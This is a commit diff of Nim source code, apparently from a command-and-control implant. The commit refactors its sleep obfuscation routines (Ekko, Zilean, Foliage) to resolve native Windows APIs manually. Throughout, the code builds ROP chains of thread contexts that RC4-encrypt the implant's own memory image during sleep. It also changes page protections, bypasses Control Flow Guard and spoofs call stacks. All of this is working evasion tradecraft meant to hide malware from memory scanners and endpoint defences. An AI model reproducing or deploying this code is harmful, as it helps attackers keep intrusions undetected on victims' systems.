Split sleep obfuscation into separate functions to increase readability and changed to manual API resolution.
This commit is contained in:
@@ -28,26 +28,62 @@ type
|
|||||||
PPS_APC_ROUTINE = ptr PS_APC_ROUTINE
|
PPS_APC_ROUTINE = ptr PS_APC_ROUTINE
|
||||||
|
|
||||||
# Required APIs (definitions taken from NtDoc)
|
# Required APIs (definitions taken from NtDoc)
|
||||||
# Ekko/Zilean
|
type
|
||||||
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
# Ekko/Zilean
|
||||||
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
|
RtlCreateTimerQueue = proc(phTimerQueueHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
|
||||||
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
|
||||||
proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
|
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||||
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||||
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
|
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
|
||||||
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
|
||||||
|
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
|
||||||
|
# Foliage
|
||||||
|
NtCreateThreadEx = proc(threadHandle: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, processHandle: HANDLE, startRoutine: PVOID, argument: PVOID, createFlags: ULONG, zeroBits: ULONG, stackSize: ULONG, maximumStackSize: ULONG, attributeList: PVOID): NTSTATUS {.stdcall.}
|
||||||
|
NtGetContextThread = proc(threadHandle: HANDLE, context: PCONTEXT): NTSTATUS {.stdcall.}
|
||||||
|
NtQueueApcThread = proc(threadHandle: HANDLE, apcRoutine: PPS_APC_ROUTINE, apcArgument1: PVOID, apcArgument2: PVOID, apcArgument3: PVOID): NTSTATUS {.stdcall.}
|
||||||
|
NtAlertResumeThread = proc(threadHandle: HANDLE, suspendCount: PULONG): NTSTATUS {.stdcall.}
|
||||||
|
NtTestAlert = proc(): NTSTATUS {.stdcall.}
|
||||||
|
|
||||||
# Foliage
|
Apis = object
|
||||||
proc NtCreateThreadEx(threadHandle: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, processHandle: HANDLE, startRoutine: PVOID, argument: PVOID, createFlags: ULONG, zeroBits: ULONG, stackSize: ULONG, maximumStackSize: ULONG, attributeList: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateThreadEx"), dynlib: protect("ntdll.dll").}
|
RtlCreateTimerQueue: RtlCreateTimerQueue
|
||||||
proc NtGetContextThread(threadHandle: HANDLE, context: PCONTEXT): NTSTATUS {.cdecl, stdcall, importc: protect("NtGetContextThread"), dynlib: protect("ntdll.dll").}
|
RtlDeleteTimerQueue: RtlDeleteTimerQueue
|
||||||
proc NtQueueApcThread(threadHandle: HANDLE, apcRoutine: PPS_APC_ROUTINE, apcArgument1: PVOID, apcArgument2: PVOID, apcArgument3: PVOID): NTSTATUS {.cdecl, stdcall, importc: protect("NtQueueApcThread"), dynlib: protect("ntdll.dll").}
|
NtCreateEvent: NtCreateEvent
|
||||||
proc NtAlertResumeThread(threadHandle: HANDLE, suspendCount: PULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtAlertResumeThread"), dynlib: protect("ntdll.dll").}
|
RtlCreateTimer: RtlCreateTimer
|
||||||
proc NtTestAlert(): NTSTATUS {.cdecl, stdcall, importc: protect("NtTestAlert"), dynlib: protect("ntdll.dll").}
|
RtlRegisterWait: RtlRegisterWait
|
||||||
|
NtSignalAndWaitForSingleObject: NtSignalAndWaitForSingleObject
|
||||||
|
NtSetEvent: NtSetEvent
|
||||||
|
NtDuplicateObject: NtDuplicateObject
|
||||||
|
NtCreateThreadEx: NtCreateThreadEx
|
||||||
|
NtGetContextThread: NtGetContextThread
|
||||||
|
NtQueueApcThread: NtQueueApcThread
|
||||||
|
NtAlertResumeThread: NtAlertResumeThread
|
||||||
|
NtTestAlert: NtTestAlert
|
||||||
|
NtContinue: PVOID
|
||||||
|
SystemFunction032: PVOID
|
||||||
|
|
||||||
|
proc initApis(): Apis =
|
||||||
|
|
||||||
|
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||||
|
|
||||||
|
result.RtlCreateTimerQueue = cast[RtlCreateTimerQueue](GetProcAddress(hNtdll, protect("RtlCreateTimerQueue")))
|
||||||
|
result.RtlDeleteTimerQueue = cast[RtlDeleteTimerQueue](GetProcAddress(hNtdll, protect("RtlDeleteTimerQueue")))
|
||||||
|
result.NtCreateEvent = cast[NtCreateEvent](GetProcAddress(hNtdll, protect("NtCreateEvent")))
|
||||||
|
result.RtlCreateTimer = cast[RtlCreateTimer](GetProcAddress(hNtdll, protect("RtlCreateTimer")))
|
||||||
|
result.RtlRegisterWait = cast[RtlRegisterWait](GetProcAddress(hNtdll, protect("RtlRegisterWait")))
|
||||||
|
result.NtSignalAndWaitForSingleObject = cast[NtSignalAndWaitForSingleObject](GetProcAddress(hNtdll, protect("NtSignalAndWaitForSingleObject")))
|
||||||
|
result.NtSetEvent = cast[NtSetEvent](GetProcAddress(hNtdll, protect("NtSetEvent")))
|
||||||
|
result.NtDuplicateObject = cast[NtDuplicateObject](GetProcAddress(hNtdll, protect("NtDuplicateObject")))
|
||||||
|
result.NtCreateThreadEx = cast[NtCreateThreadEx](GetProcAddress(hNtdll, protect("NtCreateThreadEx")))
|
||||||
|
result.NtGetContextThread = cast[NtGetContextThread](GetProcAddress(hNtdll, protect("NtGetContextThread")))
|
||||||
|
result.NtQueueApcThread = cast[NtQueueApcThread](GetProcAddress(hNtdll, protect("NtQueueApcThread")))
|
||||||
|
result.NtAlertResumeThread = cast[NtAlertResumeThread](GetProcAddress(hNtdll, protect("NtAlertResumeThread")))
|
||||||
|
result.NtTestAlert = cast[NtTestAlert](GetProcAddress(hNtdll, protect("NtTestAlert")))
|
||||||
|
result.NtContinue = GetProcAddress(hNtdll, protect("NtContinue"))
|
||||||
|
result.SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
||||||
|
|
||||||
# Function for retrieving a random thread's thread context for stack spoofing
|
# Function for retrieving a random thread's thread context for stack spoofing
|
||||||
proc GetRandomThreadCtx(): CONTEXT =
|
proc GetRandomThreadCtx(): CONTEXT =
|
||||||
|
|
||||||
var
|
var
|
||||||
ctx: CONTEXT
|
ctx: CONTEXT
|
||||||
hSnapshot: HANDLE
|
hSnapshot: HANDLE
|
||||||
@@ -85,165 +121,19 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
echo protect("[-] No suitable thread for stack duplication found.")
|
echo protect("[-] No suitable thread for stack duplication found.")
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
# FOLIAGE sleep obfuscation based on Asynchronous Procedure Calls
|
#[
|
||||||
proc sleepFoliage*(sleepDelay: int) =
|
Ekko sleep obfuscation based on Timers API using RtlCreateTimer
|
||||||
|
]#
|
||||||
|
proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var bool = true) =
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
img: USTRING = USTRING(Length: 0)
|
|
||||||
key: USTRING = USTRING(Length: 0)
|
|
||||||
ctx: array[7, CONTEXT]
|
|
||||||
ctxInit: CONTEXT
|
|
||||||
hEventSync: HANDLE
|
|
||||||
oldProtection: ULONG
|
|
||||||
hThread: HANDLE
|
|
||||||
|
|
||||||
try:
|
|
||||||
var
|
|
||||||
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
|
|
||||||
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
|
||||||
|
|
||||||
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
|
|
||||||
discard evadeCFG(NtContinue)
|
|
||||||
|
|
||||||
# Locate image base and size
|
|
||||||
var imageBase = GetModuleHandleA(NULL)
|
|
||||||
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
|
||||||
|
|
||||||
img.Buffer = cast[PVOID](imageBase)
|
|
||||||
img.Length = imageSize
|
|
||||||
|
|
||||||
# Generate random encryption key
|
|
||||||
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
|
||||||
key.Buffer = keyBuffer.addr
|
|
||||||
key.Length = cast[DWORD](keyBuffer.len())
|
|
||||||
|
|
||||||
# Start synchronization event
|
|
||||||
status = NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
|
||||||
|
|
||||||
# Start suspended thread where the APC calls will be queued and executed
|
|
||||||
status = NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
|
||||||
echo fmt"[*] [{hThread.repr}] Thread created "
|
|
||||||
|
|
||||||
ctxInit.ContextFlags = CONTEXT_FULL
|
|
||||||
status = NtGetContextThread(hThread, addr ctxInit)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
|
||||||
|
|
||||||
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
|
||||||
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
|
||||||
cast[ptr PVOID](ctxInit.Rsp)[] = cast[PVOID](NtTestAlert)
|
|
||||||
|
|
||||||
# Preparing the ROP chain
|
|
||||||
for i in 0 ..< ctx.len():
|
|
||||||
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
|
||||||
|
|
||||||
var gadget = 0
|
|
||||||
|
|
||||||
# ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered.
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](hEventSync)
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](FALSE)
|
|
||||||
ctx[gadget].R8 = cast[DWORD64](NULL)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
|
||||||
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
|
||||||
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
|
||||||
ctx[gadget].R8 = cast[DWORD64](FALSE)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
|
||||||
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
|
||||||
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
|
||||||
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
|
||||||
inc gadget
|
|
||||||
|
|
||||||
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
|
|
||||||
ctx[gadget].Rip = cast[DWORD64](ExitThread)
|
|
||||||
ctx[gadget].Rcx = cast[DWORD64](0)
|
|
||||||
|
|
||||||
# Queueing the chain
|
|
||||||
for i in 0 .. gadget:
|
|
||||||
status = NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
|
||||||
|
|
||||||
# Start sleep obfuscation
|
|
||||||
status = NtAlertResumeThread(hThread, NULL)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation start.")
|
|
||||||
|
|
||||||
status = NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation end.")
|
|
||||||
|
|
||||||
except CatchableError as err:
|
|
||||||
sleep(sleepDelay)
|
|
||||||
echo protect("[-] "), err.msg
|
|
||||||
|
|
||||||
finally:
|
|
||||||
if hEventSync != 0:
|
|
||||||
CloseHandle(hEventSync)
|
|
||||||
hEventSync = 0
|
|
||||||
if hThread != 0:
|
|
||||||
CloseHandle(hThread)
|
|
||||||
hThread = 0
|
|
||||||
|
|
||||||
# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean)
|
|
||||||
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: var bool = true) =
|
|
||||||
|
|
||||||
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
|
|
||||||
|
|
||||||
if sleepDelay == 0:
|
|
||||||
return
|
|
||||||
|
|
||||||
if mode == FOLIAGE:
|
|
||||||
sleepFoliage(sleepDelay)
|
|
||||||
return
|
|
||||||
|
|
||||||
var
|
|
||||||
status: NTSTATUS = 0
|
|
||||||
img: USTRING = USTRING(Length: 0)
|
|
||||||
key: USTRING = USTRING(Length: 0)
|
|
||||||
ctx: array[10, CONTEXT]
|
ctx: array[10, CONTEXT]
|
||||||
ctxInit: CONTEXT
|
ctxInit: CONTEXT
|
||||||
ctxBackup: CONTEXT
|
ctxBackup: CONTEXT
|
||||||
ctxSpoof: CONTEXT
|
ctxSpoof: CONTEXT
|
||||||
hThread: HANDLE
|
hThread: HANDLE
|
||||||
hEventTimer: HANDLE
|
hEventTimer: HANDLE
|
||||||
hEventWait: HANDLE
|
|
||||||
hEventStart: HANDLE
|
hEventStart: HANDLE
|
||||||
hEventEnd: HANDLE
|
hEventEnd: HANDLE
|
||||||
queue: HANDLE
|
queue: HANDLE
|
||||||
@@ -251,75 +141,40 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
oldProtection: DWORD = 0
|
oldProtection: DWORD = 0
|
||||||
delay: DWORD = 0
|
delay: DWORD = 0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var
|
|
||||||
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
|
|
||||||
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
|
||||||
|
|
||||||
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
|
|
||||||
discard evadeCFG(NtContinue)
|
|
||||||
|
|
||||||
# Locate image base and size
|
|
||||||
var imageBase = GetModuleHandleA(NULL)
|
|
||||||
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
|
||||||
# echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)"
|
|
||||||
|
|
||||||
img.Buffer = cast[PVOID](imageBase)
|
|
||||||
img.Length = imageSize
|
|
||||||
|
|
||||||
# Generate random encryption key
|
|
||||||
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
|
||||||
key.Buffer = keyBuffer.addr
|
|
||||||
key.Length = cast[DWORD](keyBuffer.len())
|
|
||||||
|
|
||||||
# Sleep obfuscation implementation using Windows Native API functions
|
|
||||||
# Create timer queue
|
# Create timer queue
|
||||||
if mode == EKKO:
|
status = apis.RtlCreateTimerQueue(addr queue)
|
||||||
status = RtlCreateTimerQueue(addr queue)
|
if status != STATUS_SUCCESS:
|
||||||
if status != STATUS_SUCCESS:
|
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
||||||
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
defer: discard apis.RtlDeleteTimerQueue(queue)
|
||||||
|
|
||||||
# Create events
|
# Create events
|
||||||
status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
if mode == ZILEAN:
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
if status != STATUS_SUCCESS:
|
||||||
if status != STATUS_SUCCESS:
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
# Retrieve the initial thread context
|
||||||
|
delay += 100
|
||||||
|
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
||||||
|
|
||||||
|
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||||
|
delay += 100
|
||||||
|
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
||||||
|
|
||||||
if mode == EKKO:
|
|
||||||
# Retrieve the initial thread context
|
|
||||||
delay += 100
|
|
||||||
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
|
||||||
|
|
||||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
|
||||||
delay += 100
|
|
||||||
status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
|
||||||
|
|
||||||
elif mode == ZILEAN:
|
|
||||||
delay += 100
|
|
||||||
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
|
||||||
|
|
||||||
delay += 100
|
|
||||||
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
|
||||||
|
|
||||||
# Wait for events to finish before continuing
|
# Wait for events to finish before continuing
|
||||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
@@ -336,9 +191,10 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
spoofStack = false
|
spoofStack = false
|
||||||
|
|
||||||
if spoofStack:
|
if spoofStack:
|
||||||
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||||
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
# Initially, each element in this array will have the same context as the timer's thread context
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
@@ -358,14 +214,14 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
|
|
||||||
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
||||||
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
inc gadget
|
inc gadget
|
||||||
|
|
||||||
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
inc gadget
|
inc gadget
|
||||||
@@ -392,7 +248,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
inc gadget
|
inc gadget
|
||||||
|
|
||||||
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
ctx[gadget].Rip = cast[DWORD64](apis.SystemFunction032)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
inc gadget
|
inc gadget
|
||||||
@@ -406,14 +262,14 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
|
|||||||
|
|
||||||
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
ctx[gadget].Rcx = cast[DWORD64](img.Buffer)
|
||||||
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
ctx[gadget].Rdx = cast[DWORD64](img.Length)
|
||||||
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
inc gadget
|
inc gadget
|
||||||
|
|
||||||
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
ctx[gadget].Rip = cast[DWORD64](NtSetEvent)
|
ctx[gadget].Rip = cast[DWORD64](apis.NtSetEvent)
|
||||||
